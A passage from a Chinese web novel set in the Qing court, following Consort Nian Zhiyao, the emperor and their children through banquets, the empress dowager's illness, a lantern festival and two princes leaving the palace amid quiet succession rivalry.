等四爷一来,见着屋子这副模样,开口打趣道:“这是准备开布料店呢。”
弘晏像是见了救星一般,蹦了起来,“阿玛。”
年芷瑶看向四爷:“万岁来得正好,您也还没做新衣裳呢,您也过来试试。”
四爷脸上失了笑意,“朕的尺码你都知道,你看着给朕做便是。”
年芷瑶不满地走了过来:“不行。”
听见贵妃娘娘这样和万岁说话,好悬没给一旁的针线嬷嬷吓得跪了下来,可看着周围的人没一个惊讶的,这位嬷嬷又把提到嗓子眼的心给按了回去。
年芷瑶:“您怎么和弘昭一个模样,就知道敷衍我。”
弘昭形容一顿,看了看额娘,又看了看阿玛,不知道这事和他有什么关系,他方才可是配合得很呢。
四爷顺着瑶儿的手坐了下来,无奈道:“朕怎么会敷衍你呢。”
针线嬷嬷带着衣料箱子退了下去,在针线房能给贵妃娘娘做衣裳可是个十足的好差事,可也没人告诉她贵妃和万岁的相处如此吓人啊。
想到方才贵妃娘娘在皇上身边自在的样子,她心里不禁叹服,阖宫上下,也就只有贵妃娘娘能得万岁如此青眼了吧。
针线房的衣服还没做好之前,年芷瑶为四爷缝制的里衣倒是先一步做好了。
四爷穿上身试了试,笑道:“合适极了,多谢瑶儿。”
年芷瑶抬头看他,眼里带着笑意:“爷喜欢就好。”
“喜欢,朕怎么会不喜欢。”他伸手将身边的年芷瑶搂住,“只要瑶儿送的,朕都喜欢。”
看着阿玛额娘抱着一起,一旁的小八也跟着凑热闹,啊啊叫了两声。
年芷瑶忙将他推开:“孩子还在呢。”
四爷见她这般害羞,不禁笑道:“孩子都同朕生了几个了,怎么还这般不好意思。”
年芷瑶瞪他:“不正经。”
四爷大笑起来:“好,瑶儿面皮薄,朕不说了。”他将八阿哥抱了起来,“阿玛带八阿哥飞飞好不好。”
八阿哥十分捧场,在四爷怀里兴奋的直叫。
年芷瑶忙对他道:“别摔着了。”
四爷对她笑笑:“放心吧,朕心里有数。”
年芷瑶无奈地看着他,这么大的人了,怎么还跟个小孩子一样。
中秋是大宴,各处要安排的事都不少。
年芷瑶从晨起就开始忙了起来,虽然没什么人敢在皇上设的宴席上闹事,但人一多,琐事也就多了起来。
她看着四爷,嘱咐道:“万岁今日可莫要饮酒过量了。”
四爷笑着看她:“瑶儿放心,这酒朕一年也不过喝上两回,今日定不会喝多的。”
年芷瑶可不信他的话,提醒道:“上次您不就和十三爷喝多了吗。”
前些日子十三爷从南边回来,不过是两个月未见,四爷就拉着十三爷在园子里住下了,跟多久没见着这位弟弟了一样,又是拉着十三爷喝酒到半夜,又是抵足而眠的。
可怜十三爷不敢拒绝四爷劝的酒,次次都将酒喝了个干净,直接把自己给喝趴下了,半夜又在园子里叫了太医过来催吐,她听了都觉得无语。
四爷抖了抖衣袖:“上次不是意外吗。”
年芷瑶给四爷正着衣领,说道:“那爷这次可不要出什么意外才好。”
四爷握住她的手,“知道了,小管家婆。”
年芷瑶瞪了他一眼,当她这是为了谁好。
她知道四爷一喝开心了,心里面就没数了,她扭头看向苏培盛叮嘱道:“你在前头,合该多看着万岁才是,不要再让万岁喝多了。”
苏培盛看着皇上一副甘之如饴的样子,又看了眼贵妃,只觉得心里发苦,贵妃娘娘说什么万岁都觉得好,可他不一样啊,万岁举杯要饮,他还能上去将万岁的酒杯抢回来吗,这不是闹呢吗。
可当着主子的面,他也只能低头应是,只能盼着待会万岁能少饮些酒。
十三爷看着桌子上丰盛的席面,瞧见上面的炖菜大多在底下点了个小炉子,放着炭火,想必是怕菜凉了,之前皇阿玛在的时候,宫里的席面送过来的时候大多都是凉的。
如今倒是贴心多了,十三爷夹了一筷子的四喜丸子,想来应该是四哥那位贵妃的主意吧。
弘昭正坐在桌前,盯着一旁的弘晏,他最是了解这个弟弟,弘晏一整个晚上的表情都颇为微妙,想必不知在心里酝酿着什么坏主意。
四爷在上头听着朝臣祝贺,敬了三杯后,便让四阿哥,五阿哥代他去给下头人敬酒。
弘昭见四哥朝着他走来,便早一步带着弘晏起身,他拱手道:“四哥。”
弘历笑道:“六弟,今日是好日子,可要喝上一杯才好。”
弘昭点头:“四哥说的是。”
一旁的弘晏也跟着两人装模作样地举起杯子。
等入了座,弘昭便觉得不妙,他低头一看,果不其然瞧见弘晏已经偷偷把他桌前的酒壶拿了过去,现下还准备倒第二杯。
额娘一向不让弘晏喝酒,是以他的桌子上摆着的只有酸梅汤,这酒壶定是方才弘晏趁他不注意拿走的。
弘昭抽了抽眉角,摆了摆手让小太监将酒壶拿下去,再让膳房给弘晏煮些糖水来。
“是。”小太监躬身下去。
弘昭捏了捏弘晏有些泛红的脸,“你看一会儿额娘罚不罚你。”
弘晏笑嘻嘻地道:“我就是想尝尝味道嘛,六哥。”
弘昭推开他:“别撒娇。”
弘历和六弟说了两句,便朝着十三爷的方向走去,十三叔是皇阿玛最看重的兄弟,又手握重权,若是能得到十三叔的支持,对他可是大有好处。
弘历举杯:“十三叔,侄子敬你。”
十三爷将酒喝下,笑道:“好孩子,你不日就要大婚,十三叔在此先恭喜你了。”
弘历:“多谢十三叔。”
两人寒暄了两句,十三爷看四阿哥在他桌前不走,像是想再说些什么,便扭头对着身边的十四举杯,“十四弟,听说你最近又添了个小阿哥,真是件喜事,恭喜啊。”
十四爷与十三爷碰了杯:“同喜同喜。”
两人喝了杯酒,一旁的十四爷道:“行了,十三哥,四阿哥已经走了。”
十三爷对十四爷笑了笑,“吃菜吧。”
十四爷凑近过去:“十三哥,四阿哥这是冲着你来的啊,你说咱们那位四哥心里是怎么想的。”
万岁到底是想立哪位阿哥做太子啊,如今中宫无嫡子,三阿哥又被圈了,想立谁还不是四哥自己说的算,若是想立六阿哥,四哥为何不直接下旨呢,何必如此拖拖拉拉的。
十三看他:“万岁的心思,岂能是旁人揣测的。”
十四爷斜眼看他,他那
位四哥对十三的厚待谁不知道,就算这事旁人都不知道,十三也是应该知道的。
十三爷:“十四,尝尝这鱼。”快别说话了。
看十三并不想告诉他,十四爷也不自讨没趣,得了,不说就不说,立储这种事,他还不想牵扯进去呢。
看十四不再追问,十三爷舒了一口气,可想起前些日子四哥对他说的话,他的心又不由得提了起来,四哥对他有再造之恩,无论四哥想立哪个阿哥,他都只有支持的份,四哥觉得哪个好,他就认哪个。
只是瞧着四阿哥,倒不像是个没心思的样子。
十三爷:“来,十四,咱们再喝一杯。”
坐在上首的年芷瑶早就瞧着了底下弘晏在偷喝弘昭的酒,脸早已黑了下来。
等回了屋子,她便想抓住弘晏教训一番,谁知这孩子跑得倒快,一溜烟跑到弘昭身后躲着去了。
她道:“别以为躲在你哥后面我就不打你了,还敢偷酒喝,真是反了天了。”
弘晏撇嘴:“额娘,我知道错了。”
弘昭也在一旁为弘晏求情:“额娘,弘晏定是知道错了,你这次就饶了他吧。”
年芷瑶瞪了他一眼:“你别为他说话,都是你给惯的。”
塔娜在一旁看着两个弟弟不敢出声的样子,不免笑了出声。
四爷走了进来,瞧见几个孩子围着瑶儿站成一团,挑眉道:“这是怎么了。”
弘晏撇撇嘴,弘昭将事情说给他听。
四爷听后笑道:“男子汉大丈夫,喝点酒怎么了,你这个做额娘的也不要太过严厉了。”
弘晏点了点头。
年芷瑶横了一眼过去,“万岁说什么呢,臣妾方才没听清,万岁可否再说一遍。”
见着瑶儿脸色不对,四爷连忙改口道:“这事的确是弘晏的不对,他才多大,小孩子喝什么酒呢,你罚他便是。”
弘晏看着三言两语便临阵倒戈的阿玛,不可置信地道:“皇阿玛。”
年芷瑶冷哼一声,这才差不多,她知道清朝没什么未成年不得饮酒的说法,弘昭心里有数,她也就没管他,可弘晏才多大,还贪杯上了。
“那便罚你一旬的点心。”
弘晏苦着脸:“额娘,一旬也太久了吧。”
弘昭按了按身后的弘晏,让他先别开口,左右他的点心可以让给弟弟吃。
年芷瑶看了过去:“你不准偷偷将点心让给他,听见了吗。”
弘昭脸色微顿:“是,额娘。”
年芷瑶一眼就知道弘昭在想什么,“他虽是你弟弟,可也不要事事都让着他,免得将他惯得无法无天。”
弘晏不满道:“额娘。”他哪有这么不懂事。
弘昭知道额娘是在关心他,笑得腼腆:“额娘,弘晏只是有些调皮,是个好孩子。”
弘晏颇为感动地看着他:“六哥。”
看着他们两个兄弟情深的样子,倒是让年芷瑶没话说了。
晚间,她对四爷开口抱怨道:“弘昭也太惯着弟弟了。”
四爷拍了拍她:“孩子们感情好是好事,况且弘昭是长子,爱护弟弟也是应该的。”
年芷瑶:“再是长子,还有我这个额娘在呢,这个倒也不用他撑着,他还是个孩子呢。”
她冷哼一声:“都怪爷。”
四爷疑惑道:“怪朕,怪朕什么。”
年芷瑶:“可不是怪您吗,弘昭之前都是软软糯糯的叫我额娘,现在做什么都是一板一眼的,连抱都不让我抱了,还不是跟着万岁您学的。”
四爷失笑,弘昭是他和瑶儿的长子,他也对这孩子寄予厚望,要求自然高了些。
“孩子大了,不爱撒娇也是有的,别想太多了。”
他安慰她道:“弘昭是好哥哥,弘晏也是好弟弟,这不是很好吗,朕没能体会到兄弟之情,能在两个孩子身上得偿所愿,这是好事。”
年芷瑶看向四爷,有些无话可说,只是谁的儿子谁心疼,看着弘昭小小年纪就承受着如此责任,着实是有些心疼。
夜半,她悄悄来到了弘昭的屋子。
守夜的太监瞧了娘娘一眼,不敢出声。
年芷瑶看着弘昭和弘晏两个四仰八叉地睡在一起,脸上露出笑意。
这两个孩子,她为他们掖了掖被子,许是四爷说得对,这样的兄弟情,着实是难得得很。
弘晏的奶嬷嬷在一旁低声回禀,“晚间七阿哥有些不高兴,还是六阿哥安慰的,方才七阿哥非要黏着六阿哥睡呢。”
两位阿哥的感情可真是好,就是在民间,兄弟之间还有为争父母家产而不睦的呢,何况是在皇家。
像两位阿哥这般情谊的,倒真是少见。
第84章 第84章侍疾
不知是不是最近天气突然转冷的缘故,太后身边的太监来报,说是太后身子不适,已经让人叫了太医。
四爷听后,连忙带着年芷瑶去了畅春园,好在太后得的不是什么大病,他们到的时候太医已经看过并开了药过来。
说太后是昨夜受了凉,如今太后吃过之后已经好多了。
太后倚靠在床边,“哀家这没什么事,你们不必如此紧张。”
年芷瑶不赞同的道:“皇额娘可不能马虎,太医可说了,这病虽不大,可您也要静心休息才是,方才都快把万岁吓坏了。”
听到她这样说,太后看着自己这个儿子,冲他招了招手,“皇帝也辛苦了,你明日还要处理朝政,合该早些歇息才是。”
太后伸手摸了摸四爷的额头,“你继位以来,一直劳心劳力,我都看着眼里,只是做皇帝着实是个辛苦活,你也要多保养自身,不要太勉强才是。”
四爷在太后身前一言不发,像是有些无措,好半晌才出声道:“儿子无碍,让皇额娘费心了。”
太后叹了口气:“我年纪大了,有个三灾六痛的也是常有之事,你们不必太过担心。”
年芷瑶看了看四爷,起身道:“皇额娘说的是哪里的话,您福泽深厚,定能平安百岁才是。”
福嬷嬷:“是呢主子,贵妃娘娘说的是。”
太后笑着摇了摇头:“好,哀家不说了。”她看向四爷:“你明日还要忙,还是早些回去歇着吧。”
四爷:“朕就算回去了,也不能放心,不如皇额娘让朕在此候上一夜,也好安朕的心。”
看四爷心意已决,太后也就没再多劝,而是让福嬷嬷在畅春园给他们收拾了院子住了下来。
等到屋子里的人都退下,年芷瑶看向四爷,“太后娘娘也是心疼爷的。”
四爷点了点头。
她道:“万岁别担心,有我在呢,爷明日不过来也是无事的。”
两个园子的距离虽然不远,但到底不比在宫里往来方便,四爷这样一来一回的未免有些太费工夫。
太后身子有恙,她身为后妃自然要跟在身边侍疾,是想躲都躲不掉的,她既然要留在这,何必要把四爷也拘在这呢。
四爷拍了拍她的手,“放心,朕心里有数。”
年芷瑶看了眼四爷的神色,就知道他是不会听的她的了,也是,太后到底是四爷的亲生母亲,他不放心也是有的。
只是,她倒是没听说侍疾一事还有争着抢着要过来的,白日里白芨传来消息,说是皇后也想过来照顾太后,话刚传过来就被四爷给驳了。
当然四爷还是为此事盖上了一层遮羞布的,只说是皇后身子不好,他与太后都不忍皇后太过操劳,就让皇后留在了宫里,不必来回奔波。
她知道四爷是不想见皇后,巧了,她也不怎么想见皇后。
晨起,年芷瑶看着四爷一勺一勺的喂太后服药,她在一旁看着都觉得受罪,这还不如一口气喝了呢,可她又不能问,太后您这样喝药,真的不苦吗。
想必肯定是苦的,太后刚喝下药,一旁的福嬷嬷就适时的为太后递上蜜饯。
太后吃下蜜饯后擦了擦嘴角:“好了,我这身子好多了,皇上不比忧心,快去忙吧。”
四爷:“是,儿子午后再来看望皇额娘。”
太后:“有贵妃在呢,皇帝实在不必百忙之中抽空过来。”
年芷瑶连忙起身表忠
心:“是,万岁放心,臣妾会照顾好皇额娘的。”
四爷看她一眼,没有做声。
太后倒是和福嬷嬷对视一眼,笑了起来。
年芷瑶虽说是给太后侍疾,可也没费什么力气,太后的衣食起居都有嬷嬷宫女照看着,什么也不用不着她,她只需坐着陪太后说说话就成,倒像是一个吉祥物了。
陪太后说话也不是一件难熬的事,太后在宫里待了一辈子,肚子里不知装了多少先帝宫中的密辛,随便说出两件都够她震惊一整天的了,连时间都过的快极了。
晚间,等四爷过来的时候,她心里还在想着先帝荣妃和孝诚皇后的恩怨情仇,而后被四爷叫了一声:“想什么了,这么入神。”
年芷瑶眨了眨眼,“我在想太后的身体什么时候能好。”
四爷:“太医说,皇额娘的身子并没什么什么大事,只需好好养养便可。”他牵着瑶儿的手坐在了床边:“这些日子辛苦你了。”
年芷瑶摇头:“我有什么辛苦的,凡事都是嬷嬷们在忙呢。”
虽说她是前去侍疾的,可谁又敢真的使唤贵妃做什么呢,不过是从一个园子换到了另一个园子罢了。
四爷拍了拍她的手,“不是只有干活的才叫辛苦,陪人说话也十分辛苦,不仅要看人的心思眼色,还要想着茶冷了热了的,哪一样不需要费心。”
年芷瑶笑着看他,许是四爷自小不在额娘身边长大,对这种事总是能和她共情,倒让她有些说不出话了。
她握着四爷的手:“只要有爷在,我就不觉得辛苦。”
四爷轻轻搂住了她。
年芷瑶在畅春园住了几日,四爷就来了几日。
太后见了不免笑道:“哀家身子早就好了,你还是快些回去吧,不然我那儿子怕是要一直留在这了。”
年芷瑶脸上微红:“皇额娘惯会说笑,万岁明明是担心您的身体才日日过来的。”
太后:“好,皇帝前来是为着哀家,可不是为了留在这的年贵妃。”
几人对视一眼,都笑了起来。
福嬷嬷:“贵妃娘娘脸皮薄,太后快别笑她了,免得贵妃恼了跑出去,咱们和皇上可就没地找去了。”
年芷瑶甩了甩帕子,“福嬷嬷,您怎么也打趣上我了。”
太后乐道:“好,都不说了,咱们都不说了,我这身子好的快,都是你的精心照料的缘故,我记着你的情。”
年芷瑶起身:“皇额娘身子安康,才是大清之福,更何况,皇额娘的身子能好,想来是万岁日日照料的缘故,臣妾可不敢居功。”
太后笑着看她。
等四爷晚间过来,年芷瑶对他道:“爷明日可别再来了,今日太后都笑话我了,说是您是为着见我才来的。”
四爷笑道:“朕本就是想着瑶儿来的,这事又不是假的,怎么说不得。”
年芷瑶瞪他一眼。
四爷笑道:“好了好了,朕明日不来了。”
“真的。”
“嗯,皇额娘的身子也好了,朕已经和皇额娘说过了,你明日就着跟朕回园子里。”四爷在她耳边低语:“朕和孩子都很想你。”
年芷瑶又瞪他一眼,这是事都定好了才和她说。
四爷笑了起来。
圆明园
塔娜正坐在床边逗着小八,小八也十分捧场的和姐姐玩,小手一挥一挥的,十分配合姐姐的动作。
年芷瑶笑着看着两个孩子,替女儿扶了扶发簪,“你若是无聊,便和弘昭他们骑马游湖便是,不用一直在这陪着我。”
塔娜靠在额娘怀里:“我现在不想骑马,就想在这陪着额娘。”
年芷瑶温柔的揉了揉额娘的头,“好,那你便待在这陪着我。”
“嗯。”塔娜重重点头,“额娘,我好开心啊。”
年芷瑶知道塔娜这般是因为前些日子自己在畅春园待的有些久了,这孩子从出生起就没和她分开呢,她拍了拍这个粘人精,笑道:“午膳想吃什么,额娘让人去做。”
塔娜想了想:“我想吃八宝鸭。”
年芷瑶:“好。”
塔娜笑了起来,她抱起弟弟掂了掂:“额娘,弟弟又重了。”
年芷瑶:“小孩子长的都快,若是觉得累了就给奶娘抱。”
小八能吃能睡得,这几日体重长得飞快,连她都抱不了太久。
塔娜:“不用,我陪弟弟在院子里玩会儿。”
今年的年节四爷准备回宫去过,年芷瑶倒是没什么意见,只派人跟着收拾了东西,毕竟冬日的紫禁城要比夏日好住的多。
她这人最不耐热,只要不是让她热着,凡事就好商量。
回了宫,年芷瑶便带着孩子们到慈宁宫请安,如今太后的身子已是完全好了,气色养的也好。
自从太后病了之后,四爷与太后的母子关系也跟着改善了不少,不是说两人之前的关系有多差,只是如今两人的相处比以往要自然了许多。
晚膳后,弘昭几个孩子在一旁的偏殿玩着骰子,她扶着太后到院子里散步消食。
太后看着月光叹道:“这一年年的日子过得太快,可是又快到十五了。”
“是呢。”年芷瑶:“皇额娘若是觉得无趣,今年的元宵何不办的热闹一些。”
太后看她:“贵妃想怎么办。”
年芷瑶:“宫里有些手巧的小太监,做冰雕做的栩栩如生,我想着,若是让他们做些冰灯送过来,只怕也是极好的。”
太后笑道:“冰灯,这倒是个好主意。”
既然在太后面前揽了差事,年芷瑶便让宫人动手将御花园装扮起来,不光是冰灯,各式花灯也都做了起来。
元宵当天,御花园被花灯装点的十分光彩夺目,远远望过去,如同白昼一般。
景仁宫
皇后看着远处的光亮,“她不过是贵妃,如今倒是摆起了皇后的架子了,主理六宫,奉养太后,我这个皇后倒是要靠边站了。”
福嬷嬷有些为难:“听说是太后想热闹热闹,这才让贵妃办了这场灯会。”
“太后。”皇后冷冷的道。
自她进了四爷府上做福晋之后,对太后无不恭敬,每每进宫请安,都是小心孝敬着,可太后依旧对她不假辞色。
她进宫后被万岁夺了权,禁在这景仁宫里,太后也一言不发,只看着年氏有宠,就靠到了年氏身上,欺软怕硬,算什么一朝太后。
今年这个元宵节办的热闹,年芷瑶还让工匠做了几个冰老虎放在一旁,张着大口让孩子们投壶用,几个孩子都玩的很开心,连进宫后一直闷闷不乐的几个郡主也都笑了起来。
四爷带着太后走在前面。
太后看着周围的花灯,笑道:“哀家记得康熙二十年时,也在宫里办了这么一场灯会,当时你想要的便是这老虎的灯,可一旁的三阿哥也想要,便闹了起来,后来还是先帝让宫人连夜做了两个一摸一样的,这才止了你们的哭。”
四爷看了太后一眼,笑了笑:“皇额娘记的清,儿子都已经忘了。”
“你当时委屈厉害,哀家怎么会忘。”
太后说的应该是当时四爷还在孝懿皇后身边的事,年芷瑶在后头瞧了四爷一眼,能将这事记了这么多年,想必当时太后心里也是难过的吧。
四爷看着也有些感动,他侧了侧头,“皇额娘。”
太后拍了拍四爷的手:“都过去了。”
第85章 第85章开府
今日四爷回来得晚,年芷瑶便让孩子们先自己用膳,她则是等着和四爷一起用。
四爷伸手给她盛了碗汤,“下次你先用膳便是,不必专门等朕,省得饿着自己。”
年芷瑶对他笑笑:“我本来也不饿嘛。”
四爷抬眸看她。
年芷瑶无奈:“我若不等爷一起用,您又该随便吃些点心了事了,太后前些日子还说让您多爱惜自个儿身子呢,不好好吃饭怎么能行。”
眼看着太后都被瑶儿搬出来了,四爷也只能摇了摇头,“罢了,朕总是说不过你的。”
年芷瑶笑:“那爷日后可要按
时回来用膳才是,折子又不是一日批完的,再怎么忙也不该饿着自己呀。”
她知道四爷的胃口一向不怎么好,好好吃饭也就罢了,可若是贪凉贪热,三餐不规律,就容易难受。
四爷握住她的手,答应下来:“好,朕都听瑶儿的。”
他看着瑶儿还有些生气,便道:“如今弘昼和弘历的宅子也建得差不多了,朕准备等开了春,便让他们二人出宫开府。”
年芷瑶有些惊讶地看过去:“这么着急。”
四爷:“不早了,现在搬,他们还能赶着在年前成婚。”
这是没有让两位阿哥在宫里成亲的意思了,年芷瑶道:“您定便是,既然要开府成婚,可要给两位阿哥封个爵位。”
四爷:“再等等吧。”
年芷瑶点头,知道四爷这是不准备封了,这两个都不是她的儿子,她也没什么好开口的,先前三阿哥出宫时,四爷也没封,如今想来也不会厚此薄彼了。
不过连四爷自己都在先帝跟前做了许多年的光头阿哥,封不封的倒也没什么要紧的。
因着有了四爷的吩咐,内务府众人也都不敢怠慢,弘历和弘昼两位阿哥出宫的日子定得十分的快。
出宫当日,弘历起身去了储秀宫请安。
钮祜禄氏对他嘱咐再三,“今日你就要出宫,日后你我母子之间见面就没这么容易了,你自己在外头可要照顾好自己。”
弘历:“额娘放心,儿子心里有数。”
钮祜禄氏点头,她知道自己儿子是个心里有主意的,是她这个做额娘的不争气,不得万岁的喜欢,若不然,弘历不用这般辛苦了。
“如今你和五阿哥如今相继出宫,你虽不喜欢五阿哥,但不妨对他和善些,万岁想来是喜欢你们兄弟相宜的。”
皇上最宠爱贵妃生的六阿哥和七阿哥,不就是为着这个吗。
弘历点头称是,他看着已经显了年岁的额娘,伺候皇阿玛多年,可却从未出去过圆明园,又想到时刻跟在皇阿玛身边的贵妃。
贵妃精进府后便得宠,连生三子,又仗着自己的宠爱不将皇后放在眼里,弘历眼色微暗,贵妃这般行事,真不怕皇阿玛有朝一日会将她厌弃吗。
内务紧赶慢赶,总算在五月之前将两位阿哥送出了宫,年芷瑶站在院外,如今的天气不冷不热,倒是个好日子。
年芷瑶:“两位阿哥的礼可送了过去。”
白芨:“娘娘放心,奴婢已经吩咐下去了。”
出宫开府是件大事,四阿哥,五阿哥安顿好了之后,便相继递了帖子请客,弘昭自然也被邀请赴宴。
年芷瑶:“他们是你的兄弟,自然是该去的。”
弘昭:“儿子明白了。”
年芷瑶伸手捏了捏儿子的肩膀,过了年,弘昭便又长大了一岁,在这里,已经算是十足的大孩子了,他又是做哥哥的,她这做额娘的也不能像小时候那般随意揉抱了。
弘晏在一旁倒依旧是十分开心的样子,心里盘算着四哥五哥都出宫开府,也就说他能出宫玩两次了。
他从记事起便是在宫里长大,即便是出宫最多也就是到了园子里,如今能出宫玩,自然开心坏了。
年芷瑶一看他的表情就知道他在想什么,盯着他道:“到了外头,不要乱跑。”
弘昭笑道:“额娘放心,我会看着弟弟的。”
年芷瑶:“有你看着,我自然是放心的。”
她看着弘昭,这个儿子生下来就十分贴心,即便是弘晏和塔娜都有不喜欢弟弟的时候,可弘昭却从未抱怨过,反而是一直看护着弟弟,照顾姐姐,对于这个大儿子,年芷瑶着实是更心疼一些。
她道:“若是弘晏不乖,便回来告诉我,额娘罚他。”
弘昭笑道:“儿子知道。”
弘晏不满地抱怨:“额娘,我很乖的。”
耿氏喝了一口茶,说道:“娘娘这儿的茶真是好,喝了就让人忘不掉。”
年芷瑶:“我在宫里也闲来无事,你既喜欢,那就常来便是。”
耿氏笑道:“娘娘还要照顾八阿哥,自然没我清闲,不怕娘娘笑话,自从弘昼出宫之后,我这个做额娘可是想他的紧呢。”
年芷瑶跟着打趣她:“弘昼在时,你嫌他只顾玩闹,现下倒是舍不得了。”
耿氏:“娘娘不知,之前弘昼在宫里的时候,虽说也不能经常见面,但到底知道他一切都好,如今他出了宫,我这心里也是空落落的。”
年芷瑶:“弘昼眼看着就要娶福晋了,想必不日就能带着小阿哥来看你了,倒时候你宫里想不热闹都不成了。”
耿氏连忙双手合十:“若真是有那么一天,那臣妾真是什么都不求了。”
她笑道:“娘娘莫怪,一想着弘昼不日就娶亲生子,臣妾心里就高兴的。”
年芷瑶笑笑:“都是做额娘的,我自然明白。”
耿氏:“娘娘和臣妾都是做额娘的心,只求孩子平安康健便好,可有些人却不这么想,倒是让人有些看不透了。”
年芷瑶端起茶盏:“妹妹眼明心亮。”
耿氏是个明白人,求的不多,可谁也不能说钮祜禄氏就不是个聪明人了,同样都是龙子凤孙,谁又真的甘心屈居人下呢,四阿哥有想进一步的心思也是在所难免。
可论起太子的册立,旁的都不重要,唯一重要的就是四爷的心意,若是如今还看不懂四爷的心意,那她可就白活这么多年了。
年芷瑶正看着宫里的账本册子,宫中嫔妃不多,每月的用度撑死了也就那些,掐着手指头都能算出来。
四阿哥五阿哥虽说开了府,可到底也是皇阿哥,内务府每月还是照样送东西过去,这是四爷对儿子的疼爱,年芷瑶看了也不会说什么。
四爷过来看她道:“怎么看起了这个。”
年芷瑶起身:“闲来无事,我便多看看,也好心中有数。”
四爷:“若是无聊了便起人来说书唱曲便是,这些东西想看就看,不想看就让别人来,省得累着。”
年芷瑶无奈:“万岁这话说的,我又不是泥做的,哪有这么娇弱,再说您提倡宫中勤俭,我也跟得多给您把把关不是吗。”
四爷笑着看她:“瑶儿贴心,弘昭和弘晏呢。”
年芷瑶:“爷忘了,今儿个是五阿哥开府请客的日子,他们过去吃席了。”
她看了看天色:“想来也应该也快回来了,我让他们不要在宫外耽搁太久。”
四爷点头:“是了,这几日事忙,朕都给忘了,他们几个关系好,多玩一会儿也无妨。”
年芷瑶笑笑:“弘晏这孩子您还不知道吗,给他说要早回,他也是要拖到下午的,若是说可以晚回,指不定今日都要在弘昼府里住下了。”
她可是听说了,弘昼今日办得热闹,还专门请了京里的名角过来唱戏,那弘晏还不得玩疯了啊。
四爷笑了起来:“说得也是,说起来弘历府上的请客可好。”
年芷瑶:“这个我倒没问,应该没什么特别的吧。”
两个阿哥虽是一同开府,可长幼有序,自是要弘历先办宴席之后弘昼才能办。
年芷瑶看他:“爷怎么想起问这个了。”
四爷想起了十三同他说过,弘历开府时请了不少宗室子弟过去,倒也算正常,只是。
他道:“只是随便问问。”
第86章 第86章傻人有傻福
小厨房伺候的宫女瞧见白芨过来,连忙福了福身:“白芨姑姑,今儿个天热,您怎么亲自过来了。”
白芨对她笑了笑:“主子那也没什么事,我便来瞧瞧主子要的点心做好了吗。”
小宫女指了指一旁的食盒:“都好了,我这就要给主子送过去呢。”
白芨笑道:“那便好。”她用帕子擦了擦额头上的汗,如今虽说是午后,可到底是天热,稍稍走动就容易出汗。
宫女见了,动手盛了一碗绿豆汤:“这是咱们今日新煮的绿豆汤,姑姑尝尝,省得热闹着。”
白芨笑着接过:“多谢你了。”
宫女:“姑姑客气了,奴婢这就让太监将点心送过去。”
白芨接过小宫女手里的食盒,“不必了,直接给我便是。”
小宫女瞧了瞧,“怎么敢让姑姑亲自拿。”
白芨笑笑:“不妨事。”
小宫女看着白芨姑姑远去的背景,叹道,白芨姑姑的脾气是真好啊 ,明明是贵妃身边的第一人,却一点架子也没有。
年芷瑶正坐在湖边的亭子里喂鱼,眼前这湖虽不是园子里最大的,却是景色最好的一个,水波粼粼,让人瞧着便心情舒畅,连夏日的燥热都消了不少。
管事太监知道她爱来,这湖里的锦鲤都是被精心养着的,个个都颜色鲜艳,十分好看。
她抬头一看,见着白芨端着点心过来,笑道:“怎么是你亲自过去拿的。”
白芨:“娘娘的吩咐,奴婢怎么会怠慢。”
年芷瑶眉眼含笑:“都入宫这么多年了,怎么还是学不会偷懒。”
白芨看着自家入宫多年,照样是如此调皮的主子,无奈地笑笑,“奴婢方才见着十三爷去前头了。”
年芷瑶点头:“想来是来见万岁的。”
她打着扇子道:“既然十三爷来了,想来万岁会和他一同用晚膳,你一会儿去前头嘱咐苏培盛一声,让他劝着万岁一些,让万岁少喝些酒。”
白芨将食盒里的点心和冷饮一一摆了出来,笑道:“是,奴婢这就去。”
年芷瑶又看了一眼湖里养的胖鼓鼓的锦鲤,说道:“晚上让膳房添道鱼吧。”
小宫女:“是。”
九州清晏
苏培盛看了眼正批着折子的四爷,轻声道:“万岁,十三爷过来了。”
四爷下意识地抬头看了一眼座钟,这个座钟还是瑶儿先在屋子里用起来的,他看习惯之后便在九州清晏也放了一个,只是这个时辰,十三怎么过来了。
他开口道:“让他进来吧。”
苏培盛低头:“是。”
十三爷进门后苏培盛便出去候着了,他看着外头被微风拂过的树枝,想着十三爷进去也有一会儿了,怎么也不见动静呢。
他刚想着要不要候着近些,便听见里头万岁爷唤他,苏培盛连忙进去:“万岁爷。”
四爷道:“十三晚上留在这用膳,你去同贵妃那说一声。”
苏培盛:“是。”
知道万岁要招待十三爷,膳房那自然拿出了看家本事来,十八道热菜,六道凉菜摆得整整齐齐,只是今日万岁同十三爷的兴致看起来实在不高,菜没用几口,酒倒是喝了不少。
看着四爷还想继续要酒的样子,苏培盛有些犹豫,手里捧着酒壶后退了一步。
四爷看他,面上似是带着不虞。
苏培盛连忙低头道:“万岁恕罪,方才贵妃娘娘便派人过来说,让奴才看着万岁爷一些,免得您与十三爷饮酒过量,奴才这”实在是不敢给您倒啊。
不是他想扫了万岁的兴致,可若是不照贵妃说的做,只怕日后贵妃知道后再同四爷抱怨一番,只怕更没他的好果子吃。
还不如现在将事情给贵妃办好呢。
四爷听后不免摇了摇头,“罢了,将酒撤下去吧。”他对十三道:“自上次你在朕这喝多之后,你嫂子没少对朕抱怨,说朕就算太久没见你,也不能拼命灌你酒啊,想来如今也是担心这个。”
十三听后笑了起来:“这是四嫂关心皇兄呢,皇兄真是好福气啊。”
苏培盛松了一口气退了下去,他就知道,只要将贵妃搬出来,万岁定不会发脾气的。
十三爷看着四哥的样子,心里倒是羡慕起来,贵妃想着四哥,四哥也将贵妃放在了心里,想来贵妃和四哥倒真成了彼此的知心人了。
他与福晋感情虽也不错,但同四哥比,到底是差了一些。
佳人易得,真心难求,他起身向四爷敬酒:“臣弟恭喜四哥,能得真心相伴。”
四爷笑着将酒喝下:“十三一向最知朕的心,能得贵妃相伴,的确是朕的福气。”
他叹了口气,他不是不知外头人说他独宠贵妃,冷落皇后,可瑶儿处处真心为他,他为什么不能宠她,难不成要他宠皇后那个蛇蝎毒妇吗。
十三爷为着四爷夹菜:“既然不能喝酒,那咱们就多吃些菜。”
四爷笑道:“好,吃菜。”
年芷瑶不知四爷在心里早就将她夸的天上有地下无的,她现在正被自家小八缠住了。
“额娘,抱。”八阿哥一下午没见着额娘了,如今一见额娘回来,就着急地扑了上去。
这孩子如今还走不好路,一群人正围着他走过来,生怕阿哥摔着了。
